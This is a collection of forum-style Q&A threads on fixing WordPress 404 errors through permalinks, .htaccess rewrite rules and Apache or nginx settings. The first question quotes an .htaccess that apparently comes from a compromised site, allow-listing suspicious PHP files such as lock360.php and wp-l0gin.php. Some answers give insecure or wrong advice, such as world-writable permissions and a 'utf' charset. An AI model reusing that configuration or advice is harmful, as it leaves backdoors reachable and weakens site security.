Admin links shows 404 WordPress - wordpress

After successful login, I can't access any of the page (I can't create new post, I can't edit post, I can't create page, I can't access any page on the left sidebar) on the admin panel, they all show 404 error. I have checked the .htaccess but it's alright. I can't access the permalink page cause it will show 404 error.
All these were working till when I tried accessing it yesterday.
.htaccess file
<FilesMatch ".(py|exe|php)$">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch
"^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php|wp-l0gin.php|wp-theme.php|wp-scripts.php|wp-editor.php)$">
Order allow,deny
Allow from all
</FilesMatch>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

#BlackPearl i tried to reach out, several times, and help you debug your your website but you didn't respond back. I was going to help you avoid going through the "shotgun approach" and trying every possible combination that you either find online or people throw at you.
Anyway, speaking from experience, this would usually happen due to one primary reason, and that is obsolete themes and/or outdated plugins. Obsolete themes and plugins would loose their compatibilities with newer versions of wordpress over time and cause all sorts of nasty errors. Sometimes this happens because servers and host companies migrate to a newer version of PHP which doesn't support those outdated themes and plugins functionalities.
having said that, i'd try to do the following steps to debug it:
First thing i'd try is to switch themes. I'd switch my current theme to one the wordpress default themes.
In your wp-config.php try to change your "DB_CHARSET" to only "utf".
Sometimes files get corrupted for some reasons, so try to see if the index.php file located in your wordpress core root folder has the proper content. Not the one in the root folder of your theme, the other one that is located in the same directory as the wp-admin folder is located.
Try to clear your WordPress cache. If you are using one of the caching plugins on your site, then clear your plugin cache.
See if there are extra spaces at the top and/or at the bottom of your functions.php file. If so, then remove those extra spaces.
Try to increase your memory limit, specially if your wordpress site uses graphical/image related plugins.
In your wp-config.php file, define( 'WP_MEMORY_LIMIT', '256M' );

Make sure your /wp-admin/ folder doesn't contain any .htaccess files
Delete, if there is any.
If the problem persists...
Make sure the mod_rewrite is enabled
How to check whether mod_rewrite is enable on server?
Enable the mod, restart apache.
If the problem persists...
Check if .htaccess is allowed in Apache config
Go find your Apache config
Make sure the AllowOverride directive is set to All and within <Directory /var/www/your/dir/where/wp/is>:
Remember to restart Apache.
If the problem persists...
Delete .htaccess and reset permalinks
Go to /wp-login.php and login.
Settings -> Permalinks -> Save. (WP will automatically recreate your .htaccess again).
If you cannot get to the permalinks page do it programmatically, add the snippet to functions.php:
add_action( 'init', function () {
flush_rewrite_rules( true );
}, 99 );
Refresh the page... Now your .httacces is recreated. Remove the code from functions.php.
if the problem persists...
Try disabling plugins.
Rename the folder wp-content/plugins to _plugins, for example.
Refresh the page. Now your plugins are disactivated.
If the problem is gone, enable plugins 1 by 1 until the problem occurs again. That's how you find the faulty plugin.

I see you are denying php files. If you have plugin that is overwriting your htaccess file disable it. Or edit current htaccess file and change
<FilesMatch ".(py|exe|php)$">
Order allow,deny
Deny from all
</FilesMatch>
to
<FilesMatch ".(py|exe)$">
Order allow,deny
Deny from all
</FilesMatch>
If you still cant access your website replace current htaccess with default one for testing.
# BEGIN WordPress
RewriteEngine On
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
# END WordPress

I would disable all plugins by renaming their folders using ftp (or ssh). That way you can rule out the plugins being an issue. If that fixes the problem, turn the plugins back on one by one until it breaks. Then, if you post the name of that plugin you (we) can look through its code and see what's going on.

Within your admin control panel, go to Tools -> Site Health. Look for problems there that may indicate what the problem is.
Sometimes, for example, you'll see that the REST API has an error. This happens when a plugin or theme has incorrect code which breaks the proper response for an API call. This breaks editing things like Pages/Posts/other Custom Post Types.
To resolve, try disabling all your themes. A quick way to do this to SFTP into your server and rename the wp-content/plugins directory to something like plugins-renamed. Then reload any admin page. Then rename it back. All of your plugins will be disabled and you can re-enable them one at a time, while checking the Site Health page to see if the problem returns.
Also try activating a different theme to see if that fixes it.

I think,You have been hacked.
Check config file it must have some gibberish code which breaks php execution.
Restore your database or atleast check it.
check how many users you have. Do you have any user as admin. Try login with that user.
Check your files. Try to restore from backup.
Check your unix files setting may be some file s need execute permission.
https://www.malcare.com/blog/wordpress-file-permissions/

Upgrade your php version to the latest version and it will kick back to life. WordPress can get glitchy when you're not using the supported version of PHP.
PHP requirements for WordPress

In my case, just the WordPress Plugins page was displaying a 404, and other pages I tried worked fine. It turned out the permissions for the file wp-admin/plugins.php were set to 666 whereas nearly all other files had 644 permissions. Changing the permissions to 644 fixed the issue. I did this using the cPanel File Manager.

A 404 error indicates that your browser can’t locate the page you’re trying to access. The exact message can look a bit different depending on the browser you’re using. The first step to try is resetting your permalinks. Head to your WordPress dashboard and navigate to Settings > Permalinks. From here, just click on Save Changes. That’s right — you don’t actually need to edit anything. Clicking that button will update the permalink settings even if you don’t make any changes.

Related

After WordPress migration only home page loads everything else returns a 404

Getting started with a droplet on Digital Ocean, so far it's been a fun process. Now I want to begin migrating my site, so I set everything up and created an index.php to where to my root dir as a "construction" page for now. I'm setting up WordPress in a sub-dir and moved all of the contents via all-in-one WP Migration which has always worked perfectly for me.
I've given every dir and file inside of root/public_html (WordPress installation) rwx and atm ownership has been changed to www-data. So I got to loadup my site which atm would be something like <ip address>/public_html and I log in and I am propmted with the wp-admin screen. Everything is working, media files are uploaded, theme is there etc.
When I go to my home page, all the images load but I immediately notice the admin bar at the top, the wp-glyphs aren't loading and I'm getting those weird squares when your computer/phone doesn't know what it's trying to look at. Also any front-end page other than my home returns a 404. My homepage again is accessed by <ip address>/public_html so you would think my about page would be <ip address>/public_html/about, which is where WordPress is sending me to when clicked, but I receive a 404.
I've spent probably 4-5 hours now trying to figure this out and eventually turned to a guide that walks you through it but nada so far.
Can anyone offer a suggestion?
EDIT
I'd like to add that I followed WordPress's instructions on modifying the .htaccess file. I'm assuming it goes in the subdirectory correct?
.htaccess
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /public_html/
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /public_html/index.php [L]
</IfModule>
Just as a reference for myself and anyone who might stumble upon this.
Solution
The answer was that apache was not configured correctly to read .htaccess files. If you are experiencing the same problems and have set up your own VPS, go to apache.conf, etc/apache2/apache.conf and find the correct <Directory></Directory> directive that corresponds with your website directory. Inside you should see an option that reads AllowOverride None. Change this to AllowOverride All.
If this is not the solution for you, at least it's another step out of the way.
Are you able to access wp-admin
If yes then go to dashboard->setting->permalinks
and update the permalink and the problem solved
Access your dashboard by logging in wp-admin then access settings then permanent links, Change them to any of the provided styles save the change it again to your preferred one. This will work well.

Wordpress REST API (wp-api) 404 Error: Cannot access the WordPress REST API

I have been using the Wordpress REST plugin WP-API for months now while developing locally with XAMPP. I recently migrated my site to an EC2 instance and everything is working fine except I now get a 404 with the following message whenever I try to access any endpoint on the API:
The requested URL /wordpress/wp-json/ was not found on this server
Pretty permalinks are enabled with the following structure http://.../wordpress/sample-post/ which works fine when navigating to a specific post in the browser.
Here are some details about my setup:
Wordpress 4.4.1
Not a Multisite
WP REST API plugin 2.0-beta9
Apache 2.2.22
Ubuntu 12.04.5
Any help would be greatly appreciated as I have gone through SO and the WP Support forums for several hours and am out of ideas. Thank you!
UPDATED NEW WAY
I also faced similar problem in a local project. I used index.php after my project url and it worked.
http://localhost/myproject/index.php/wp-json/wp/v2/posts
If it displays a 404 error then update permalinks first (see "Paged Navigation Doesn't Work" section
If it works, maybe you need to enable mod_rewrite, on ubuntu:
a2enmod rewrite
sudo service apache2 restart
Installation
The REST API is included in WordPress 4.7! Plugins are no longer required, just install the latest version of WordPress and you're ready to go.
If you're before 4.7:
Download plugin from here: http://v2.wp-api.org/
install and activate it.
Usage
To get all posts:
www.mysite.com/wp-json/wp/v2/posts
For the search functionality, searching for test post looks like this:
/wp-json/wp/v2/posts?filter[s]=test
I had this problem with the latest WordPress 4.7+. In my case the REST API only worked after I changed the permalinks setting to something other than "Plain", which was the default setting for my installation.
On WPEngine and WP 4.9.2 I only had to update permalinks to get fresh, newly installed site to return v2 API calls. What I did:
Create site
Browse to http://yoursitename.wpengine.com/wp-json/wp/v2/posts
get 404
Go to admin, settings, permalinks, choose "Post Name"
Click "Save Changes"
Browse to http://yoursitename.wpengine.com/wp-json/wp/v2/posts
success. page displays JSON response
It turned out to be a problem with the Apache configuration.
First, I deleted the .htaccess file in the root wordpress directory.
Next, I navigated to /etc/apache2/sites-enabled and opened 000-default
All of the AllowOverride variables were set to None, which I replaced with All.
That did the trick!
It is the file permission error, apply the following solution:
Edit this file /etc/apache2/apache2.conf
Change /var/www/ Permissions from "None" to "All"
Restart the apache2 server.
First you've to Check if the WordPress REST API is enabled or not
The best way to check is to visit this URL: https://yoursite.com/wp-json.
If you see some JSON response, REST API is enabled.
If it’s showing some error page or returns to home page, REST API is not enabled. Then we've to enable it first.
In this case, you've to Enable Permalinks
Visit your page's admin page (Visit https://yoursite.com/wp-json)
settings > Permalinks (visit https://yoursite.com/wp-admin/options-permalink.php)
Make sure Plain is not selected
Choose Post Name (it's a best one)
Then click on Save Changes. That will rewrite/repair your .htaccess
Please see the helping screenshots below:
Source
I solved this issue through following steps:
Navigate to ..\Apache24\conf\httpd.conf and search for LoadModule rewrite_module modules/mod_rewrite.so.
Enable rewrite module by removing the # mark.
Replace all the cases of AllowOverride None to AllowOverride All.
Don't forget to restart apache server. :)
Adding "AllowOverride All" (as hinted by other authors before) to my apache virtual host configuration on my Ubuntu server via SSH did the trick for me:
sudo vi /etc/apache2/sites-available/my-website-name.com.conf
and also (if you use letsencrypt):
sudo vi /etc/apache2/sites-available/my-website-name.com-le-ssl.conf
The files should then look like:
<VirtualHost *:80>
# or <VirtualHost *:443> for the SSL configuration
# [...]
DocumentRoot /var/www/my-website-name.com/public_html
<Directory "/var/www/my-website-name.com/public_html">
# this allows .htaccess files (e.g. generated by Wordpress)
# to overwrite the apache configuration on a directory basis:
AllowOverride All
</Directory>
# [...]
</VirtualHost>
Don't forget to disable and re-enable the site and reload apache to apply the new configuration:
sudo a2dissite my-website-name.com.conf
sudo a2dissite my-website-name.com-le-ssl.conf
sudo a2ensite my-website-name.com.conf
sudo a2ensite my-website-name.com-le-ssl.conf
sudo service apache2 reload
I had to manually make a .htaccess, set it to chmod 664, and copy the permalink rules into it.
I also played around with
Settings > Permalinks
Manually updating .htaccess via the code at the bottom of the permalinks page after clicked "Save"
Adding "index.php" as one of the other answers suggests
Making sure mod rewrite was enabled via a2enmod
I found that mysite/wp-json/ was not working, but mysite/?rest_route=/ was normal. This was breaking some, but not all, the REST API features used on my site.
The answer to this turned out to be a recent change to how I was running my server. This had broken REST API but this was not apparent until later.
I had changed this domain from using Apache to using nginx, and I had not correctly transferred the .htaccess customisations. The quick solution to this problem was therefore to change back to using Apache. This restored the site to working order immediately.
I will be changing this domain back to nginx in the future but when I do, I will test it and be careful not to affect the REST API.
I had moved the WordPress install from a subdirectory to another, so in my case the problem was due to the WordPress config in the .htaccess files. It was trying to redirect every page but the homepage to the old directory. It was just a matter of updating olddir to newdir...
This tripped me up more than once so I thought I'd put it here...
# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /olddir/
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /olddir/index.php [L]
</IfModule>
# END WordPress
I faced the same problem when I migrated my site from cPanel to Google Cloud Compute Engine Instance; problem was of file permissions which was initially caused due to difference in PHP versions of current deployment from previous deployment.
Here is the fix How to deal with GCP WordPress error "This page isn’t working example.com is currently unable to handle this request. HTTP ERROR 500
If you website is https://example.wordpress.com (on wordpress) for example, use the below link which will give you the JSON response irrespective of any API settings/Permalinks etc..
https://public-api.wordpress.com/rest/v1.1/sites/example.wordpress.com/posts
If you want to see all the available endpoints use this -
https://developer.wordpress.com/docs/api/console/
Remember to replace **$site** with your domain
Find the latest documentation here -
https://developer.wordpress.com/docs/api/
If you are on Windows OS change the Permalink Settings as follows:
Custom structure: /index.php/%postname%/
I was facing same issue on localhost and I solved this issue with just set RewriteBase Path in .htaccess file which is available at root folder of WordPress project setup.
**Example:**
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /[folder-name]
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /[folder-name]/index.php [L]
</IfModule>
If you have tried the other solutions on this page and they haven't worked, I had success with checking for additional .htaccess files in the root folder above your public_html folder (or wherever you have installed WordPress).
I found an extra one which may have come from a previous installation or been accidentally moved there - it was giving conflicting instructions to the 'real' .htaccess file. Deleting it fixed the problem for me.
For me on new website I didn't had Nginx pretty links setting enabled I add this tolocation / block
try_files $uri $uri/ /index.php?$args;
Try to remove any
order deny,allow
deny from all
allow from ...
from you .htaccess.
I read through a whole bunch of articles and eventually discovered there was a force site to be https plugin installed and activated on my local, however there is no certificate set up. It was making the requests for https when I should have had the https plugin deactivated.
Once deactivated, I was able to make connections to REST API.
Not a very in depth answer but it is was my answer. Hope this saves someone some time!
On WordPress 6
You can use this URL and no need for URL Rewrite and no need to change your Permalink settings (I saw Gutenberg editor is using this URL to access REST)
http://example.com/index.php?rest_route=/wp/v2/posts

All my WordPress pages are redirecting to Xampp's homepage

I have a local Xampp stack setup for my WordPress site. It was first installed on another web server(clients web server) and im doing work on it locally. So I downloaded all the files and database to my local Xampp server. So here is what I did to run it locally to begin with:
first I changed the URL in the database table: wp_options for the siteurl.
Then I added these two lines of code to the end of my wp-config:
define('WP_HOME','http://localhost/wpsite');
define('WP_SITEURL','http://localhost/wpsite');
Those are the only changes I made to run it locally. Also, in the root of the WordPress site folder, there is this .htaccess file:
# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# END WordPress
I have tried all options:
commenting out all combinations of the wp-config.php file's define lines.
deleting the .htaccess file with combinations of all the define lines in wp-config.php file.
Also the homepage and admin urls are fine. It's the permalinks that aren't working. For instance http://localhost/wp_site/about redirects to Xampp's homepage and if the .htaccess file is deleted it gives Xampp's default 404 error page.
I resolved this issue by navigating to Settings > Permalinks in the WP admin, scrolling to the bottom, and clicking "Save Changes", an idea I got from this WP forum page, to regenerate the permalinks.
For the whole transfer process, I followed these instructions exactly and then at the very end resolved the issue making the permalinks change I mentioned above.
Your site is behaving proper as per changes made by you. You just changed the base URL and hence it is not working for other pages which is obvious thing.
See, changing just site base URL is not enough while migrating a site from one set up to another, each of your old URL should be replaced by its respective new URL.
Tweak in .htaccess may help you temporarily but that is something which will just keep on redirecting your pages. Once you are done with development on your local system, you might be needing to move the changes back to live server. So, making permanent changes in DB will be more proper than making changes in .htaccess.
I would suggest to undo what have you done so far or simply start making a new set up as per following guidelines -
Copy your WordPress files to your localhost e.g. in 'wpsite' folder (without .htaccess file).
Export DB from your live set up (can use PhpMyAdmin)
Import the DB in your localhost set up (can be done using PhpMyAdmin or
MySQL dump).
Replace all the URLs
Can use a tool like this https://interconnectit.com/products/search-and-replace-for-wordpress-databases/
You can put the search and replace PHP file in your WP root directory and run through the browser. Follow the steps and all the URLs will be replaced.
Login to your new set up.
Recreate the .htaccess.
Done.
OR
You can also make use of this plugin to do activities like above in more automatic way https://wordpress.org/plugins/wp-clone-by-wp-academy/
follow These steps
1. Delete htaccess file
2. Delete cache folder if cache folder exist in wp-content folder
3. Do permission of wp-content folder writable.
It could be because the URLs are being cached. Now that you're hosted on localhost, the old URLs are invalid. Login to wp-admin and pick "Delete Cache" option if you're using WP Super Cache.
The other Wordpress solutions/suggestions on this page did not even touch all the possible URLs related to the site in the database. A quick
`SELECT * FROM wp_options WHERE option_value = 'home url for your site'`
found two records where your site's url and home url are set. All I had to do what to change both of those fields to my local setup URLs - that was it.

Why Won't Fishpig Set the Magento Blog URL Correctly?

So, a client of mine has this Magento site set up:
http://kharmakhare.com
I have actually asked a question about this site before. This time, they want a blog set up at:
http://kharmakhare.com/blog
Yes, there is one already there. They want to replace that AW Blog with a Wordpress blog integrated into the Magento theme with Wordpress. There's just one problem; I can't get the url to change at ALL.
No matter what I do, the blog always appears at:
http://kharmakhare.com/wordpress
I try to disable the AW Blog and test the new one at:
http://kharmakhare.com/blog
But nothing happens. The above url simply redirects to the main site.
All of my Wordpress Integration settings are green (except for "improve your blog"). If I disable Wordpress Integration in the settings, the /wordpress directory STILL appears.
In Wordpress, the site url is set to /blog. The wordpress url is /wp. Whenever I try changing the permalink settings Wordpress fails to create the .htaccess file, so I did it manually... but it always uses /blog in the settings:
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /blog/
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /blog/index.php [L]
</IfModule>
Not that it matters much. Even with it set to:
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /blog/
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /wp/index.php [L]
</IfModule>
It still doesn't work.
This has been a real, real pain to set up. The documentation says its easy, everything I've read says its easy. It just plain won't work for me. I even tried reinstalling the plugin. Then I tried uninstalling and reinstalling the plugin. I also tried (before this) uninstalling and reinstalling wordpress. Nothing works.
I can NOT delete the AW blog without having the new blog to replace it. I can disable the AW blog temporarily, but I can't delete it. Is there anything that I'm missing?
Any help would be greatly appreciated.
Firstly, upgrade WordPress Integration to the latest version and uninstall AheadWorks Blog extension.
Secondly, I assume that you have installed WordPress in a sub-directory other than 'blog'. For this example, I will assume you have installed it in 'wp'.
To make your blog viewable on /blog, set your Blog Route as 'blog' and your WordPress path as 'wp'. Next, login to WordPress and select Settings > General and change the second URL option (labelled Site address (URL)) to http://www.yourmagentourl.com/blog
You should now be able to view your blog at the /blog URL.
Finally, if WordPress is installed in /wp and visible at /blog, your .htaccess file should reference /wp/ and not /blog
The solution is easy. First fully disable AW_Blog. Don't just disable this via the configuration or via System > Advanced. Either fully uninstall it or delete the app/etc/modules/AW_Blog.xml file and then refresh the cache.
The AW_Blog module uses - rather selfishly - 'blog' as it's frontName. The frontName takes precendence over the dynamic routing system used in Magento WordPress Integration so while AW_Blog is installed, you can't use 'blog' as your WordPress URL.
With AW_Blog fully uninstalled, enter 'blog' as the blog route in the extensions configuration. Finally, login to the WordPress Admin and select Settings > General. Here you will see 2 URLs. The first URL should be the true WordPress URL (if WordPress is installed at /wp then this should be the /wp URL). The second URL should be the integrated Magento URL (eg. the /blog URL)
The WordPress .htaccess file has no effect as this only runs when actually accessing WordPress and isn't ran when accessing Magento.
Hi this is more of a question clarification (disclaimer) as I am having what may be a related issue.
What happens when you visit http://WWW.kharmakhare.com/blog rather than the shorter url? For me at the moment- www.magento.com/blog resolves correctly whereas magento.com/blog sends me to the home page.
Also, have you tried setting the full path in the wordpress settings? Your question indicates you have set it to /blog rather than the full http://kharmakhare.com/blog ? I believe it should include the full file path.
Ok, I think this must be a bug in the plugin. The ONLY way I could get this to work is to edit the Fishpig plugin's core so that the default route is "blog."
Not an ideal solution, but at least it works. This should not be such a problem, though, the plugin should work as its intended without modifying the core files.
when dealing with the Wordpress plugin, be sure to clean magento cache (better disable it during editing) and clear your browser cache as well.
Changing routes around between magento and the Wordpress plugin, quickly becomes a nightmare when dealing with invalid caches.
Also check your URL rewites as sometimes as a last resort, a webshop owner will use this to make things work.

WordPress is giving me 404 page not found for all pages except the homepage

All of a sudden I go to my WordPress website and all the pages give me a 404 page not found page. I'm assuming the problem lies with the permalink structure, which I could swear I did not touch. The permalink setting is on "month and name."
I've researched similar instances of this problem online and a lot of it has to do with the .htaccess file? I tried finding, but I can't. Perhaps it got deleted somehow? Where is it supposed to be located.
Any suggestions will be helpful
and of course I can see hidden files.
.htaccess is a hidden file, so you must set all files as visible in your ftp.
I suggest you return your permalink structure to default ( ?p=ID ) so you ensure that .htaccess is the problem.
After that, you could simply set "month and name" structure again, and see if it works.
PS: Have you upgraded to 3.1? I've seen some people with plugin issues in this case.
Basically the .htaccess file should exists and the httpd.conf should be correct.
In my case, I changed the file /etc/apache2/apache2.conf in section:
<Directory "/var/www/html">
Line changed is:
AllowOverride None
to
AllowOverride All
And restart the web server with
systemctl restart apache2
Fixing that problem is very simple if you was using permalinks other than the default such as Day and name, Month and name, Numeric, Post name or Custom Structure, you only need to
Login to your admin area: Settings > Permalinks which should be : http://yoursite.com/wp-admin/options-permalink.php
Choose Default permalink setting, then save changes
Then you can return it again to your other previous permalink choice or keep it as default as yo wish
Note that this problem can happen when you move your site from a domain or location to another one.
If the default behavior (example.com/?p=42) is working, you should:
Change to your preferred permalink style: Admin: Settings > Permalinks, and click Save. Sometime it fixes the issue. If it didn't:
Verify that the file /path/to/wordpress/.htaccess has been changed and now includes the line RewriteEngine On. If it doesn't include the line, it's a Wordpress permissions issue.
Verify that the 'rewrite' module is loaded: create a PHP file with
<?php
phpinfo()
?>
in it, open it in the browser and search for mod_rewrite. It should be in the 'Loaded Modules' section.
If it's not, enable it - Look at your apache default index.html file for details - in Ubuntu, you do it with the helper a2enmod.
Verify that apache server is looking at the .htaccess file. open httpd.conf - or it's Ubuntu's alternative, /etc/apache2/apache2.conf. In it, You should have something like
<Directory /path/to/wordpress>
Options Indexes FollowSymLinks
AllowOverride All
Require all granted
</Directory>
After making these changes, don't forget to restart your apache server. sudo service apache2 restart
IF all this dont work, your .htaccess is correct, and permalinks trick didnt work, you may have not enabled your apache2 rewite mod.
I ran this and my issue was solved:
sudo a2enmod rewrite
Within the WordPress admin interface do the following:
Go to admin setting
Click on permalink and select post name in radio button.
Scroll down and you will see .htaccess code here like.
<IfModule mod_rewrite.c>
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /wordpress/index.php [L]
</IfModule>
Copy the code and paste in the .htaccess file.
This error is causing due to disabled of rewrite mod in apache httpd.conf document ,just uncomment it and enjoy the seo friendly permalinks
Check that the directory on .htaccess are the correct
Check the fields "siteurl" and "home" are the correct
We had the same problem and solved it by checking the error.log of our virtual host. We found the following message:
AH00670: Options FollowSymLinks and SymLinksIfOwnerMatch are both off,
so the RewriteRule directive is also forbidden due to its similar
ability to circumvent directory restrictions :
/srv/www/htdocs/wp-intranet/
The solution was to set Options All and AllowOverride All in our virtual host config.
If you have FTP access to your account:
First, login to your wp-admin and go to Settings > Permalinks
You should see something at the bottom that says:
"If your .htaccess file were writable, we could do this automatically, but it isn’t so these are the mod_rewrite rules you should have in your .htaccess file. Click in the field and press CTRL + a to select all."
If this is true do the following:
Go into preferences for your FTP client and make sure hidden files are displayed (varies depending on your FTP client) - If you don't do this you won't be able to find your htaccess file
Go to the folder that your wp-admin, wp-content, wp-includes directories are located. Check for .htaccess file. If it exists skip to step 4
If it does not exist, create a new blank file in your FTP program called .htaccess
Change the CHMOD for your .htaccess file to 666 (your preference on how you want to do this)
Go back to your Permalinks page and edit the link structure you want. Problem should be solved!
Make sure to change the chmod of the htaccess file back to 644 after you are done.
Just had the same problem and it seemed to fix it instantly! Good luck!
Most of the time this issue is fixed by simply visiting the Settings -> Permalink page in the WordPress admin and click Save (as several other answers already pointed out). When this page is accessed, WordPress rewrites the directives in the .htaccess file which magically fixes the issue. The issue often happens after moving a site (the site breaks because the .htaccess gets left behind or the settings need to be updated).
If WordPress doesn't have the right permissions to write the .htaccess file, a notice will appear at the top of the page and further instructions at the bottom when the settings are saved. In this case you need to edit the .htaccess file yourself or, better, to fix the permissions on that file. The file is at the root of the WordPress installation. cd into the directory and sudo chmod 644 .htaccess. You might also want to check if the file belongs to the right group and change that is needed with chown. Ask your hosting provider if you don't know how to do that.
If you are on shared hosting that's probably all you can do. If you still have the issue you might want to talk to you hosting provider's support. Otherwise, make sure the use of .htaccess files is enabled on the server, as #georgeos already suggested. Note that httpd.conf is not always used (Ubuntu indicates it is deprecated but the official Apache docs still says it is often the main configuration file). /etc/httpd/conf/httpd.conf and /etc/apache2/apache2.conf seem to be the most common places for this file. Find the block for the public folder, usually <Directory /var/www/> and make sure that the AllowOverride directive is set to All. If it is set to None, your .htaccess file is simply ignored by the server.
I installed mod_rewrite to fix the issue. Below link provides an installation guide:-
http://www.iasptk.com/enable-apache-mod_rewrite-ubuntu-14-04-lts/
You may have .htaccess disallowed in webhost settings.
Setting to default permalinks would work in that case.
Before trying to do any permalink or server config changes, please check you .htaccess file. This mostly is a corrupt or blank .htaccess file issue. Reset the htaccess file to the default
# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# END WordPress
Case 1:- Let us think if migrate site from one hosting to another hosting if see this kind of issue.
Solution:- Simply go to old server copy .htaccess file code, then past in new server .htaccess file. 99% it i will works.
If your WordPress installation is in a subfolder (ex. https://www.example.com/subfolder) change this line in your WordPress .htaccess
RewriteRule . /index.php [L]
to
RewriteRule . /subfolder/index.php [L]
By doing so, you are telling the server to look for WordPress index.php in the WordPress folder (ex. https://www.example.com/subfolder) rather than in the public folder (ex. https://www.example.com).
after 2 long days,
the solution was to add options +FollowSymLinks to the top of my .htaccess file.
I have the same problem and so I remove the Apache and make it again and the problem was solved.
Just Navigate to Settings->Permalink in your dashboard and then Save Changes button in the last.\
I just changed the permalink to 'month and day'of all the posts by ging to setting>permalink.
Now all posts are open and working fine.
Again, I renamed to all posts to its actual permalink. Its again working fine.
This method worked for me :-)
For nginx users
Use the following in your conf file for your site (usually /etc/nginx/sites-available/example.com)
location / {
try_files $uri $uri/ /index.php?q=$uri&$args;
}
This hands off all permalink requests to index.php with a URI string and supplied arguments. Do a systemctl reload nginx to see the changes and your non-homepage links should load.
Go to your WordPress Dashboard, scroll down to settings, select Permalink,
in custom settings that appear, go to custom structure and replace the text in the text field with
/index.php/%year%/%monthnum%/%day%/%postname%/
and then save changes
Wanted to share my two cents. Recently came accross that very same issue installing WordPress 5.9. Year 2021.
Configuration:
Platform MAC, Software XAMPP, WordPress 5.9
None of the previous answer did it for me.
The issue was due to the fact that files permissions accross the XAMPP folder were set to "Read only".
Locate the XAMPP folder. (Usually in the Applications folder).
Right click XAMPP folder.
Get info.
Bottom right unlock button → Follow instructions.
Sharing and permissions → Everyone → Read & Write.
Bottom left three dots button → Apply to enclosed items.
This scenario can also be caused by a database version that's out of sync with the WP files installed on server. Nothing else listed here worked for me; I solved it with a manual WP update.
I had this issue not so long ago. I had reset my permalink to default or just saved it, updated themes/core to (4.7.4)/plugins, deactivated all plugins, switched to default theme, optimized database, .htaccess is already default, checked file permissions, mod_rewrite is on.
So far nothing works, what works are the posts, new page, the /contact page EXCEPT for old pages.
Basically, the pages/URLs that aren't working are:
/breeding
/training
/training/*
/breeding/*
Ultimate, I found these files in the root folder:
/breeding.php and /training.php
I renamed both files and the pages above worked.

Resources